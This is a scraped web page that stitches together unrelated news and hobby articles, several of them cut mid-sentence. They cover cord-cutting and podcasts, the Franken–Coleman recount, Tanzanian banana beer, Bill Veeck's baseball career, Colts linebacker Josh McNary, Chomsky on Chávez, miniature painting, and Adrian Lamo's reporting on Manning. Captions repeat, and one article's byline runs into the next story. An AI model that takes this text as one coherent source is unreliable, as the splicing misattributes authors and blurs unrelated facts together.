As far as TV shows go, Netflix, Amazon and Hulu are making the best original material. Their Emmy award-winning shows are a sign of that, certainly, but so, too, is the office water-cooler chatter that almost never has anything to do with network TV. For what it’s worth, the Union-Tribune business section is currently buzzing about the Netflix series “Ozark” and Hulu’s “The Handmaid’s Tale.”
Story-telling has never been better in audio format as well. I’m talking about podcasts, of course. And most of those are completely free. Plus, there’s a niche for everyone, not just people like me who are obsessed with true crime.
“Dirty John,” the new hit podcast produced by some supremely talented folks at our sister paper The Los Angeles Times and the podcast network Wondery, are as compelling a story as any available on any medium. I say that after having binged on all four of the episodes available; not because of any fellow newsroom cheerleading.
My point is this: Start with something you love. Not a channel or show, but a topic, genre or hobby. Then, go find it and consume it. You might even try my version of an elimination diet and start from scratch. Don’t default to your cable box. Give it up completely for a week or two and see what you gravitate to instead. Then, you can slowly add shows or networks back into the fold.
If you go that route before making your list of channel requirements, I think you’ll find the experience far more liberating. You should get to a point where you only turn to a streaming cable alternative — say YouTube TV, DirecTV Now, Sling TV, PlayStation Vue or Hulu with Live TV — as a last resort, and not your be-all, end-all TV product.
Otherwise, maybe this way of life isn’t right for you. And that’s totally OK, too.
To discuss all things streaming TV, join our Facebook group, SDUT cord-cutters.
Highlights from our Digital Life series:
CAPTION Hundreds of San Diego hotel workers marched in downtown San Diego to pressure Marriott hotels to improve pay and working conditions for low wage workers. Hundreds of San Diego hotel workers marched in downtown San Diego to pressure Marriott hotels to improve pay and working conditions for low wage workers. CAPTION Hundreds of San Diego hotel workers marched in downtown San Diego to pressure Marriott hotels to improve pay and working conditions for low wage workers. Hundreds of San Diego hotel workers marched in downtown San Diego to pressure Marriott hotels to improve pay and working conditions for low wage workers. CAPTION The Supreme Court on Monday struck down a federal law that bars gambling on football, basketball, baseball and other sports in most states, giving states the go-ahead to legalize betting on sports. The Supreme Court on Monday struck down a federal law that bars gambling on football, basketball, baseball and other sports in most states, giving states the go-ahead to legalize betting on sports. CAPTION Viasat is a global communications company working to connect the unconnected throughout the world. As part of our mission, we're bringing low-cost, high-speed satellite internet to rural towns throughout Mexico. We believe that everyone, everywhere deserves the opportunity to add their voice to the global conversation. (Courtesy of Viasat) Viasat is a global communications company working to connect the unconnected throughout the world. As part of our mission, we're bringing low-cost, high-speed satellite internet to rural towns throughout Mexico. We believe that everyone, everywhere deserves the opportunity to add their voice to the global conversation. (Courtesy of Viasat) CAPTION San Diego has agreed to sell 16 lots in Nestor for $1 each, in the pursuit of affordable housing. The nonprofit San Diego Community Land Trust plans to build three and four-bedroom homes there for people with moderate incomes. That means a family of five with an income of up to $102,750. San Diego has agreed to sell 16 lots in Nestor for $1 each, in the pursuit of affordable housing. The nonprofit San Diego Community Land Trust plans to build three and four-bedroom homes there for people with moderate incomes. That means a family of five with an income of up to $102,750. CAPTION Toys R Us still sells about 20% of the toys bought in the U.S., according to an analyst at Jefferies LLC. Toys R Us still sells about 20% of the toys bought in the U.S., according to an analyst at Jefferies LLC.
jennifer.vangrove@sduniontribune.com (619) 293-1840 Twitter: @jbruinDFLer Al Franken won an impressive share Saturday of what may be the last ballots tallied in the U.S. Senate recount, boosting his unofficial lead over Sen. Norm Coleman to 225 votes heading into a Monday meeting where the state Canvassing Board will certify the final result of the race. At least two things, however, still stand in the way of Franken becoming Minnesota's newest U.S. senator: the possibility of a ruling by the Minnesota Supreme Court that more wrongly rejected absentee ballots should be counted, and a legal contest that Coleman attorneys all but promised should Franken prevail. It took only an hour Saturday afternoon for election officials to count 933 absentee ballots that all sides had agreed were wrongly rejected. Franken won 52 percent of them and Coleman captured 33 percent (the rest went to other candidates or cast no vote in the Senate race). It was a surprisingly muscular margin that was reflected in the glum looks of Coleman staffers and the satisfied appearance of Franken's staff. Franken started the day with an unofficial lead of 49 votes. He achieved a net gain of 176 votes on Saturday. Coleman's attorneys said that depending on what the court decides, they would be ready to file a legal action contesting the recount results as early as Tuesday. Recount attorney Fritz Knaak said that he believed 300 to 400 ballots would go Coleman's way in a contest, including through the addition of absentee ballots |
to smoke the next batch of buried bananas. When one is drained of juice he takes up another. Each of the seven or eight clumps, which in Aniceti Kitereza’s novel are later munched on by the treaders as a snack, takes five minutes to press.
In the novel, the mpahe pressing process takes a whole day. Kitina, with fewer bananas to crush, has finished in just under five hours. As he and Pastore mix the liquid in the canoe and then pour it into the two clay pots where it will ferment for the next two days, I ask whether we should call our rickshaw driver to come and collect us. (Ramazan had declined an invitation to stay and watch proceedings). Kitina is taken aback. He gestures towards his daughter, who is still sitting by the fire, tending the smoking pot. The air smells of frying onions and meat. “Wait until we’ve eaten!” he says. “It would be a shame on us if you came here as our guests and left without eating.”
Mpahe.
Two days later Kitina comes to my house on his bicycle. Blue plastic bottle tops peep from two woven bamboo leaf panniers. In Kitereza’s novel, when Myombekere finally delivers the fermented mpahe to his estranged wife’s family, he is complimented in the traditional way. “The dog who pressed this banana fruit into beer is a really great dog,” his satisfied father-in-law declares after sucking up a mouthful of the brew through a hollow reed straw. The assembled guests drain several pots and then tuck into the goat that has been roasted to celebrate the young lovers’ reunification.
Kitina, who has left his pots at home to dry, sells me four plastic bottles of banana beer. I open the first with great care, loosening the cap a millimeter at a time to allow the frothing, breathing liquid inside to exhale without exploding. We sit on chairs in my kitchen and I pour us each a glass. The fermented liquid is brown and opaque and flecked with black grains of millet. The beer is refreshing in the heat, no stronger at this stage than a regular lager. It has a tang similar to the type of musty cider you find at steam festivals in southwest England, but with an unmistakable undercurrent of sweet, ripe banana.
The six pots prepared by Myombekere are drunk the day after fermentation, when the beer’s alcohol content is still manageable. But as I watch one of the last of Ukerewe’s long line of brewers climb on his bicycle for the ten-mile ride home, I remember what the old man in the trilby hat told me. I put one of the bottles aside for later, to be tackled when the nectar inside turns black.David Brock, founder of Media Matters and pro-Hillary Clinton, wrote an open letter to Bernie Sanders today asking him to stop the negative attacks against his favored candidate.
It literally starts out by Brock saying, “I’m writing today to urge that you and your campaign immediately halt all negative campaigning against our party’s prospective candidate for the Presidency, Secretary Hillary Clinton.”
He says that Sanders has broken his promise not to go negative with a “relentlessly ugly barrage of false character attacks”:
These attacks –- ranging from baseless insinuations that Mrs. Clinton is somehow compromised in her ability to support meaningful reform in the financial sector, when her record shows the opposite, to unfairly impugning her reputation as a true progressive, despite her 40 years of committed, passionate advocacy – must cease.
And Brock makes no secret of why he wants Sanders to stop attacking Clinton: because he’s “helping Karl Rove and his ilk do their general election dirty work.”
Brock warns that Sanders’ attacks could hurt Democrats across the country in November, and ends with this plea:
You and I both know that the stakes for our country are just too high this November – with the Presidency, and control of the Senate and the Supreme Court hanging in the balance – for you to continue to spend your energy and resources on destructive attacks that stand to hurt all Democrats.
You can read the full open letter here.
[h/t Daily Caller]
[image via screengrab]
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Follow Josh Feldman on Twitter: @feldmaniac
Have a tip we should know? tips@mediaite.comMinor League Baseball Edit
Milwaukee Brewers Edit
In 1942, Veeck left Chicago and, in partnership with former Cubs star and manager Charlie Grimm, purchased the American Association Triple-A Milwaukee Brewers. After winning three pennants in five years Veeck sold his Milwaukee franchise in 1945 for a $275,000 profit.[5]
According to his autobiography Veeck – As in Wreck, Veeck claimed to have installed a screen to make the right field target a little more difficult for left-handed pull hitters of the opposing team. The screen was on wheels, so any given day it might be in place or not, depending on the batting strength of the opposing team. There was no rule against that activity as such, but Veeck then took it to an extreme, rolling it out when the opponents batted, and pulling it back when the Brewers batted. Veeck reported that the league passed a rule against it the very next day. However, extensive research by two members of the Society for American Baseball Research (SABR) suggests that this story was made up by Veeck. The two researchers could not find any references to a moveable fence or any reference to the gear required for a moveable fence to work.[6]
While a co-owner of the Brewers, Veeck served for nearly three years in the United States Marine Corps during World War II in an artillery unit. During this time a recoiling artillery piece crushed his leg, requiring amputation first of the foot, and shortly after of the leg above the knee. Over the course of his life he had 36 operations on the leg.[2] He had a series of wooden legs and, as an inveterate smoker, cut holes in them to use as an ashtray.
Major League Baseball Edit
Philadelphia Phillies Edit
Veeck had been a fan of the Negro Leagues since his early teens. He had also admired Abe Saperstein's Harlem Globetrotters basketball team, which was based in Chicago. Saperstein saved Veeck from financial disaster early on in Milwaukee by giving him the right to promote the Globetrotters in the upper Midwest in the winter of 1941–42.
In the fall of 1942, Veeck met with Gerry Nugent, president of the Philadelphia Phillies, to discuss the possibility of buying the struggling National League team. He later wrote in his memoirs that he intended to buy the Phillies and stock the team's roster with stars from the Negro Leagues. Veeck quickly secured financing to buy the Phillies, and agreed in principle to buy the team from Nugent. While on his way to Philadelphia to close on the purchase, Veeck decided to alert MLB Commissioner Kenesaw Mountain Landis of his intentions. Although Veeck knew Landis was an ardent segregationist, he did not believe Landis would dare say black players were unwelcome while blacks were fighting in World War II. By the time he arrived in Philadelphia, Veeck discovered the Phillies had been officially taken over by the National League and that a new owner was being sought (the Phillies were ultimately sold to lumber baron William D. Cox).
The authors of a controversial article in the 1998 issue of SABR's The National Pastime argued that Veeck invented the story of buying the Phillies and filling their roster with Negro leaguers, claiming Philadelphia's black press made no mention of a prospective sale to Veeck. Subsequently, the article was strongly challenged by historian Jules Tygiel, who refuted it point-by-point in an article in the 2006 issue of SABR's The Baseball Research Journal,[7] and in an appendix, entitled "Did Bill Veeck Lie About His Plan to Purchase the ’43 Phillies?", published in Paul Dickson's biography, Bill Veeck: Baseball's Greatest Maverick.[8] Joseph Thomas Moore wrote in his biography of Doby, "Bill Veeck planned to buy the Philadelphia Phillies with the as yet unannounced intention of breaking that color line."[9]
Cleveland Indians Edit
In 1946, Veeck became the owner of a major league team, the Cleveland Indians. He immediately put the team's games on radio. He also moved the team to Cleveland Municipal Stadium permanently in 1947. The team had split their games between the larger Municipal Stadium and the smaller League Park since the 1930s, but Veeck concluded that League Park was far too small to be viable.[10]
In July of that year he signed Larry Doby, the first black player to play in the American League.[11] Doby's first game was on July 5 and before the game, Doby was introduced to his teammates by player-manager Lou Boudreau. "One by one, Lou introduced me to each player. 'This is Joe Gordon,' and Gordon put his hand out. 'This is Bob Lemon,' and Lemon put his hand out. 'This is Jim Hegan,' and Hegan put his hand out. All the guys put their hand out, all but three. As soon as he could, Bill Veeck got rid of those three", Doby said.[12] The following year Veeck signed Satchel Paige to a contract, making the hurler the oldest rookie in major league history.[13][14]
As in Milwaukee, Veeck took a unique approach to promotions, hiring Max Patkin, the "Clown Prince of Baseball", as a coach. Patkin's appearance in the coaching box delighted fans and infuriated the front office of the American League.[15]
Although Veeck had become extremely popular, an attempt in 1947 to trade Boudreau to the St. Louis Browns led to mass protests and petitions supporting Boudreau. Veeck, in response, said he would listen to the fans, and re-signed Boudreau to a new two-year contract.[16]
By 1948, led by Boudreau's.355 batting average, Cleveland won its first pennant and World Series since 1920.[17] Famously, the following season Veeck buried the 1948 flag, once it became obvious the team could not repeat its championship in 1949. Later that year, Veeck's first wife divorced him. Most of his money was tied up in the Indians, so he was forced to sell the team to fund the divorce settlement.[18] One year later, Veeck married his second wife Mary Frances Ackerman in 1950. He had met her the previous year while in Cleveland.[19]
St. Louis Browns Edit
After marrying Mary Frances Ackerman, Veeck bought an 80% stake in the St. Louis Browns in 1951.[20] Hoping to force the NL's St. Louis Cardinals out of town, Veeck hired Cardinal greats Rogers Hornsby and Marty Marion as managers, and Dizzy Dean as an announcer; and he decorated their shared home park, Sportsman's Park, exclusively with Browns memorabilia.[2] Ironically the Cardinals had been the Browns' tenants since 1920, even though they had long since passed the Browns as St. Louis' favorite team. Nonetheless, Veeck made a concerted effort to drive the Cardinals out of town.[citation needed]
Some of Veeck's most memorable publicity stunts occurred during his tenure with the Browns, including the appearance on August 19, 1951, by Eddie Gaedel, who stood 3 feet 7 inches tall and is the shortest person to appear in a Major League Baseball game. Veeck sent Gaedel to pinch hit in the bottom of the first of the game. Wearing "1/8" as his uniform number, Gaedel was walked on four straight pitches and then was pulled for a pinch runner.[21]
Shortly afterwards "Grandstand Manager's Day" – involving Veeck, Connie Mack, and thousands of regular fans, enabled the crowd to vote on various in-game strategic decisions by holding up placards: the Browns won, 5–3, snapping a four-game losing streak.[22]
After the 1952 season, Veeck suggested that the American League clubs share radio and television revenue with visiting clubs. Outvoted, he refused to allow the Browns' opponents to broadcast games played against his team on the road. The league responded by eliminating the lucrative Friday night games in St. Louis. A year later, Cardinals owner Fred Saigh was convicted of tax evasion. Facing certain banishment from baseball, he was forced to put the Cardinals up for sale. Most of the bids came from out-of-town interests, and it appeared that Veeck would succeed in driving the Cardinals out of town. However, just as Saigh was about to sell the Cardinals to interests who would have moved them to Houston, Texas, he instead accepted a much lower bid from St. Louis-based brewing giant Anheuser-Busch, who entered the picture with the specific intent of keeping the Cardinals in town.[23] Veeck quickly realized that the Cardinals now had more resources than he could even begin to match, especially since he had no other source of income. Reluctantly, he decided to leave St. Louis and find another place to play. As a preliminary step, he sold Sportsman's Park to the Cardinals.[24]
At first Veeck considered moving the Browns back to Milwaukee (where they had played their inaugural season in 1901). Milwaukee used recently-built Milwaukee County Stadium in an attempt to entice the Browns. However, the decision was in the hands of the Boston Braves, the parent team of the Brewers. Under major league rules of the time, the Braves held the major league rights to Milwaukee. The Braves wanted another team with the same talent if the Brewers were shut down, and an agreement was not made in time for opening day. Ironically, a few weeks later, the Braves themselves moved to Milwaukee.[25] St. Louis was known to want the team to stay, so some in St. Louis campaigned for the removal of Veeck.[26]
He got in touch with a group that was looking to bring a Major League franchise to Baltimore, Maryland. After the 1953 season, Veeck agreed in principle to sell half his stock to Baltimore attorney Clarence Miles, the leader of the Baltimore group, and his other partners. He would have remained the principal owner, with approximately a 40% interest. Even though league president Will Harridge told him approval was certain, only four owners—two short of the necessary six for passage—supported it. Realizing the other owners simply wanted him out of the picture (indeed, he was facing threats of having his franchise canceled), Veeck agreed to sell his entire stake to Miles' group, who then moved the Browns to Baltimore, where they were renamed as the Orioles, which has been their name ever since.[27]
Chicago White Sox Edit
In 1959, Veeck became head of a group that purchased a controlling interest in the Chicago White Sox, who went on to win their first pennant in 40 years.[28][29] That year the White Sox broke a team attendance record for home games with 1.4 million. The next year the team broke the same record with 1.6 million visitors to Comiskey Park with the addition of the first "exploding scoreboard" in the major leagues – producing electrical and sound effects, and shooting fireworks whenever the White Sox hit a home run, and also began adding players' surnames on the back of their uniform, a practice now standard by 25 of 30 clubs on all jerseys, and by three more clubs on road jerseys.[2] The "exploding scoreboard" itself has since carried over to the Guaranteed Rate Field, which opened in 1991 as the New Comiskey Park.
One year later in 1960, Veeck and former Detroit Tigers great Hank Greenberg, his partner with the Indians and White Sox, reportedly made a strong bid for the American League expansion franchise in Los Angeles. Greenberg would have been the principal owner, with Veeck as a minority partner.[30] However Los Angeles Dodgers owner Walter O'Malley was not willing to compete with a team owned by Veeck, even if he would only be a minority partner. When O'Malley heard of the deal, he invoked his exclusive franchise rights for Southern California. Any potential owner of an American League team in the area would have had to have O'Malley's blessing, and it was apparent that O'Malley would not allow any team to set up shop with Veeck as a major shareholder. Rather than try to persuade his friend to back out, Greenberg abandoned his bid for what became the Los Angeles Angels.[30]
In 1961, due to poor health, Veeck sold his share of the team to John and Arthur Allyn for $2.5 million.[31] After selling the White Sox, Veeck spent a short time working as a television commentator.[32]
When his health improved, Veeck made an unsuccessful attempt to buy the Washington Senators, then operated the Suffolk Downs race track in Boston in 1969–70. Veeck was not heard from again in baseball circles until 1975, when he repurchased the White Sox from John Allyn (sole owner since 1969).[2] Veeck's return rankled baseball's owner establishment, most of the old guard viewing him as a pariah after exposing most of his peers in his 1961 book Veeck As In Wreck. However, he was the only potential buyer willing to keep the White Sox in Chicago after an offer was made to buy the team and move it to Seattle, Washington.[citation needed]
Almost immediately after taking control of the Sox for a second time Veeck unleashed another publicity stunt designed to irritate his fellow owners. He and general manager Roland Hemond conducted four trades in a hotel lobby, in full view of the public. Two weeks later, however, arbitrator Peter Seitz's ruling struck down the reserve clause and ushered in the era of free agency. Veeck's power as an owner began to wane relative to richer owners. Ironically Veeck had been the only baseball owner to testify in support of Curt Flood during his famous court case, at which Flood had attempted to gain free agency after being traded to the Philadelphia Phillies.[2]
Veeck presented a Bicentennial-themed "Spirit of '76" parade on Opening Day in 1976, casting himself as the peg-legged fifer bringing up the rear.[2] In the same year he reactivated Minnie Miñoso for eight at-bats, in order to give Miñoso a claim towards playing in four decades; he did so again in 1980, to expand the claim to five.[33] He also unveiled radically altered uniforms for the players, including clamdigger pants and even shorts, which the Sox wore for the first time against the Kansas City Royals on August 8, 1976.
In an attempt to adapt to free agency he developed a "rent-a-player" model, centering on the acquisition of other clubs' stars in their option years. The gambit was moderately successful: in 1977 the White Sox won 90 games, and finished in third place with additions like Oscar Gamble and Richie Zisk.[34]
During this last run, Veeck decided to have announcer Harry Caray sing "Take Me Out to the Ball Game" during the seventh-inning stretch. Veeck asked Caray to sing for the entire park, but he refused. Veeck replied that he already had a recording, so Caray would be heard either way. Caray reluctantly agreed to sing it live, accompanied by White Sox organist Nancy Faust, and went on to become famous for singing the tune, continuing to do so at Wrigley Field after becoming the broadcaster of the Chicago Cubs.[35]
The 1979 season was filled with more promotions. On April 10 he offered fans free admission the day after a 10–2 Opening Day defeat by the Toronto Blue Jays. On July 12, Veeck, with assistance from son Mike and radio personality Steve Dahl, held one of his most infamous promotions, Disco Demolition Night, between games of a scheduled doubleheader, which resulted in a riot at Comiskey Park and a forfeit to the visiting Detroit Tigers.[36]CLOSE Before he became a Colts linebacker, Josh McNary went to the U.S. Military Academy and served two years of active duty. (Phillip B. Wilson / The Star)
Indianapolis Colts Josh McNary hits Cincinnati Bengals runnignback Giovani Bernard. (Photo: Star file photo)
This story was originally posted July 3, 2014.
Josh McNary's path to the NFL was the one less traveled.
When the Indianapolis Colts called to offer a contract two years ago he was gainfully employed as a U.S. Army fire direction officer. As such, he plotted and commanded fire missions on the gun line of a 155-millimeter artillery battery whose cannons heaved lethal 100-pound projectiles as far as 19 miles downrange.
He was, in the parlance of the profession, a "cannon-cocker." There could be no more appropriate alias for a professional football long shot, and one whose story is appropriately enough told on Independence Day weekend.
The Fourth of July is a holiday of genuine significance for McNary and his family because so many of its members wore the uniform and swore the oath to protect and defend the country that observes it.
"It's a very, very special time and we're very blessed and thrilled to celebrate it fully," said Josh's father, George McNary II, a systems testing engineer with Lockheed-Martin. "We celebrate it and reflect on it."
COLTS FIND TALENT ANYWHERE: McNary included
McNary's maternal grandfather, the late Aaron Figgs, served as an infantryman during World War II. McNary's paternal grandfather, George McNary, did his duty in Korea as an artilleryman, and George II served 11 years as a Marine Corps officer, first in air support control, then in the infantry.
Josh's uncle, Ron McNary, won a Bronze Star for valor in combat as an Army Reserve first sergeant in Iraq.
There's more.
Josh's mom, Cecilia, was a high school student of good character and high achievement. At a time the U.S. Military Academy at West Point was admitting its first female cadets, she received a letter inquiring about her interest in enrolling. Mom chose to become a schoolteacher and have a family, but three decades later, Josh got the same kind of letter.
West Point wanted him, not as a football player, but as an officer candidate.
He took the challenge. He grabbed the opportunity. Josh is a 2011 academy graduate now serving as a perpetually improving, spit-shined, 'ten-hut Colts inside linebacker.
How he got there is worth saluting.
The forever-walk-on
Army defensive end Josh McNary. (Photo: AP Photo)
McNary played safety as a 170-pound junior at Clear Lake High School in Houston. During the offseason, he filled out, heaved the weights, bulked up to 203 pounds and was moved to linebacker. It was the position for which his speed, raw strength and affection for contact was best suited. He was going to make his mark. He was going to earn a college scholarship.
The coaches moved him again, this time to 2-technique, defensive tackle, a thankless, anonymous, assignment where recognition is rare double-teams are frequent.
He played it well but his lone college offers were from a pair of NCAA Division II schools, Emporia State (Kan.) and Mary Hardin-Baylor, Belton, Texas, a formerly women-only institution that didn't become fully co-educational in 1971.
"No. Really?" protested Jerrell Freeman, the Colts' starting weak-side linebacker, a Mary Hardin-Baylor graduate, and by far the school's most distinguished football alumnus. "He never told me that. That's pretty neat. We don't even give (football) scholarships."
Fortunately, McNary didn't only play football and basketball and run track at Clear Lake. He studied, diligently.
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"I did OK," McNary said in his aw-shucks manner. "I excelled, I guess you could say."
Based on that, his next stop was West Point Prep (then located at Fort Monmouth, N.J.). He walked on with the football team, and he studied some more.
Said McNary, begrudgingly, "I kind of managed to excel, there, too."
That became his refrain. Everywhere he went, everything he did, he did his best. He excelled.
"He is not one of those on-varsity-as-a-freshman kind of athletes," said Josh's older brother, George III. "That's why there's nobody in 'the league' stronger than him, I don't believe, because he came from nothing."
Climbing the ladder
West Point requires all cadets to participate in a sport. McNary picked football. He walked on again.
He played special teams and earned a spot in some of the defense's rush packages as a freshman. As a sophomore, he started the first three games at linebacker, his position of predilection, and again, his chance to truly show.
Josh McNary in college. (Photo: AP Photo)
An injury forced a move to defensive end. McNary's disappointment was enormous, his reaction imperceptible. He put his head down. He worked.
"If I got two grunts out of Josh, I considered it a complete conversation," said John Mumford, McNary's position coach at West Point and now the defensive line coach at Louisiana-Monroe. "I don't think he wanted to (move), but he did it."
Again, he excelled.
Life affords precious little of the commodities most prized at a military academy: free time and sleep. The engineering-oriented academic curriculum emphasizes courses like Physics ("a beast"), not Phys-Ed. The military requirements are rigorous and strictly exacted, the football program as demanding as anywhere else in big-time college athletics.
Cadets, if they are to succeed, fall into what they might describe as a "battle rhythm." They manage time, distractions, energy, focus. They march.
McNary carried 22 credit hours the autumn semester of his junior year. He recorded 12½sacks and 22½tackles for loss. He ranked among the national leaders in both categories.
He truly excelled.
Mumford has patched together a training tape of McNary's highlights. When he wants to show his players effort, when he wants to show them how to rush the passer, he puts on McNary.
Called to duty
Colts general manager Ryan Grigson, then director of player personnel for the Philadelphia Eagles, visited West Point in 2010. He went to scout McNary. Grigson projected him as a late fourth- or fifth-round draft pick, but mindful that graduates owe the army five years of active duty service, forgot about him.
McNary left West Point as its all-time leader in sacks (28) and tackles for loss (49), and he all but forgot about the NFL. He was assigned to the 3rd Armored Cavalry Regiment at Fort Hood, Texas. He put his head down and went to work again. He was 50-50 on making the army his career until a visit home for Thanksgiving, 2012.
McNary's brother resurrected the dream.
"I just told him if he was passionate about something, pursue it," George III said. "Football has been in his life since he was a toddler."
Indianapolis Colts linebacker Josh McNary pressures Tennessee Titans Ryan Fitzptrick. (Photo: Matt Kryger / The Star)
George II went to work. He called every college anywhere near Fort Hood, seeking a spot for Josh in a pro day, on-campus workouts attended by professional scouts. Dad was rebuffed every time. Our pro day is for our athletes, not outsiders, he was told every time.
George II didn't give up. He called Stephen Austin, director of the NFL's super regional combines, essentially show-and-tells for NFL longest of long shots. Austin had a relative at a military academy. He understood the situation. He not only gave Josh a spot in the Dallas Super Regional, he comped the $245 registration fee.
Josh ran with the opportunity. He made time around his army duties to train hard for three months. He showed well. The combine ended on a Sunday. On Wednesday, by which time his measurables and video had been posted, McNary's phone began ringing. It was April 10, 2013. It was his 25th birthday.
Among the teams that called, the New Orleans Saints expressed keen interest. The Colts did more.
"(Grigson) offered a deal, no workout or anything," McNary, a thick, 6-foot, 250-pound slab of muscle on the move. "He talked about his history and looking at me through my years in college. He put coach (Chuck) Pagano on the phone.
"(Pagano) told me how excited they were and Mr. Grigson had the whole coaching staff in there looking at my film from college and they knew exactly how I was going to fit into the defense and be able to contribute."
McNary had no agent, nor need of one. He signed a two-year, $900,000 contract the next day that gives the Colts exclusive rights to him for a third year, 2015. It was the league minimum and it didn't matter. Against all odds, the dream lived.
True, blue Colt
Because McNary had served two years and had a signed professional contract, he qualified for an early release program. He was honorably discharged from the army in July and immediately reported to training camp.
There, said Grigson, who signed McNary as a fullback prospect, "within a week, a guy who had never played inside linebacker before was going to be our starting 'nickel' (linebacker.)"
Of course adversity intervened again. McNary hadn't played a snap in two years. He desperately needed practice, time to regain, refine and exhibit his skills. He tore his hamstring the second week of camp. He missed the entire preseason.
He refused to despair.
"I think the way he's lived his life, going to a military academy, being an officer, he's incredibly mature," said Chandler Harnish, the Colts' practice squad quarterback. "That was one thing you could tell right away: This guy's got his head on straight.
"He does everything like a man should do it. He's a great role model for the guys."
Q&A with McNary: Former Army officer discusses life
The Colts were forced to waive McNary when they cut the roster to the final 53, then signed him to the practice squad, where he became close friends with Harnish, his locker room neighbor.
McNary regained his health. He kept working, improving. He was signed to the active roster on Nov. 26. He became a core special teams player and almost immediately earned the nickel linebacker role and a spot in all the sub-packages.
McNary's special teams and defensive snap counts and production increased by the week. He played 40 of the Colts' 131 defensive snaps during playoff games with Kansas City and New England. He made 11 tackles, the team's fourth best total.
"Light-years," was the term Pagano chose to describe McNary's progress, abetted by the canny coaching of Colts linebackers boss Jeff FitzGerald.
The challenges keep coming.
The Colts signed D'Qwell Jackson, a free agent inside linebacker from the Cleveland Browns, to a four-year, $22 million contract during the offseason.
Freeman plays virtually every snap. Pagano calls Jackson "a three-down linebacker." So where does McNary fit this season? Does he fit?
"We've got great competition. You've got 'Free,' you've got D'Qwell, got Josh, got other guys," Pagano said during the offseason's final workouts, mandatory minicamp.
"We just want to get out of shorts, get to training camp, get the pads on, get some preseason action and let things shake out."
That's good enough for McNary, the forever-walk-on. McNary will, to pick a phrase, soldier on. He always has.
It's the family way. George III is an electrical engineer with Halliburton. Josh is a West Point man. Younger sister, Gabrielle, is a Johns Hopkins graduate who recently completed a one-year Masters of Bio-Science program. She is applying to medical schools.
They are achievers, every one.
"We were raised by a military officer," George III reasoned.
"We raised them to do their homework, go to church and be involved in extracurricular activities," countered George II. "They deserve all the credit."
Soldier, sportsman, teammate
Josh was never deployed, but he knows well the military ethos, the code. He knows soldiers, sailors, airmen and marines don't serve and die for democracy, like the storybooks say. They serve and die for one another, for their squadmate, their crewmate, their wingman, their buddy.
They have each other's backs. They are teammates. They are a team. They do their parts. That's how it works. The correlation between sport and military is fist in glove.
Mumford spent 14 years at West Point, as defensive ends coach, defensive line coach, defensive coordinator and interim head coach. He knows the drill.
"Every general (rank) officer who came by and addressed the team, it was the same mantra every time: 'The values you learn right here on the football field are going to make you a great officer and leader in the army,' " recited Mumford, who called McNary "the most explosive athlete" he saw in those 14 years at West Point.
" 'Discipline, teamwork, accountability … It's not the big picture. It's about the guy on your right and left.' "
At 57 and a civilian, Mumford is prohibitively unlikely to go off to war, but if he were to, he said, he would want Josh McNary in his foxhole.
That's right where the Colts have him. Their faith in the former cannon-cocker, the one-time long shot, is being well rewarded. As McNary might put it, he has done "OK, I guess you could say," he has, "kind of managed to excel" once again.
Believe him.
Email Star reporter Phil Richards at phil.richards@indystar.com and follow him on Twitter at @philrichards6.Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
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Last month, speaking to Venezuelan economist Miguel Ángel Santos, Chomsky repeated his point: “For many years Venezuela was dominated by elites that… harvested all the benefits from the oil bonanzas while marginalizing the poor… Chávez came up against that.”
In an interview with Spanish newspaper Diagonal in March 2006, Chomsky declared that “for the first time, the country is using… energy resources for its development… in construction, health.” Likewise, in a 2005 op-ed for Mexico’s La Jornada, he wrote “it is only now with President Chávez… [that] medicine has become something real for a majority of the poor.”
For his part, Chomsky has repeatedly stated that Chávez ushered a revolutionary break with Venezuela’s political past, especially regarding the social policies of the state toward the poor, echoing the foundational Chavista discourse of “Bolivarian revolution.”
Speaking at the United Nations in 2006, Hugo Chávez excoriated ex-U.S. President George W. Bush as “the devil.” Chávez waved a copy of Noam Chomsky’s Hegemony or Survival: America’s Quest for Global Dominance, catapulting the |
dipping and are instead going to shade and highlight each model.
4.1 The re-gathering
In part 3 we gathered all our paints and models and in part 4 we do that again. The paints will be the same, however you’ll need some lighter and darker tones.
4.2 Simple guide to detail
Shading and highlighting can be daunting terms to the new painter – they were to me. These days I think of this step as “make the light bits lighter and the dark bits darker” and that is what I do.
4.3 Staring
Have a look at the models and identify any folds in cloak or general depths of the models. These are the areas we will make darker.
Next look for the edges of clothing or weapons and facial or skin topography. These raised areas are what we’ll make lighter.
4.4 Mix it up
For shading, find a paint a few tones darker than your initial base colour. Lay this on the deepest areas, then mix in some of your original colour and paint the next layer. For speed, we aren’t going to worry about blending, the effect is to avoid having models that look flat.
Highlighting is the reverse. Find a paint a few tones lighter and brush that lightly over the raised areas. You want some short, quick strokes for this, and focus on the edges of raised area. Noses, knuckles, blade edges, jacket corners. A few touches were an there are all each model needs.
The result
The skeletons were interesting. For these I:
darkened the metal
lightened the bows and spear hafts
lightened the quivers
lightened the fletching
I didn’t touch the bone as the initial wash did a good job in terms of bringing out the details of each model. Highlighting small areas like the fletching is good for giving the effect of a varied paint job on the tabletop without requirement a huge investment of time. A minute or so was all it took for those 8 archers.
The next part will cover basing, which is as important as any other part of the model. Simple, striking, basing doesn’t have to take forever and can really tie an army together.
AdvertisementsAdrian Lamo at the home of his parents in Carmichael, California in spring 2010. Photo: Ariel Zambelich/Wired.com
FT. MEADE, Maryland - Accused WikiLeaks source Bradley Manning wasn't the only person that convicted hacker Adrian Lamo reported to the authorities for allegedly helping WikiLeaks, according to testimony in a Saturday military hearing concerning Manning's alleged leaking.
In May 2010, Lamo gave the FBI incriminating chat logs with Bradley Manning, leading to Manning's arrest on charges that he aided the country's enemies when he leaked classified and sensitive documents. When Wired reported his actions, Lamo instantly became persona non grata among a large swath of the hacker community, which largely supports WikiLeaks and almost uniformly detests those who cooperate with authorities.
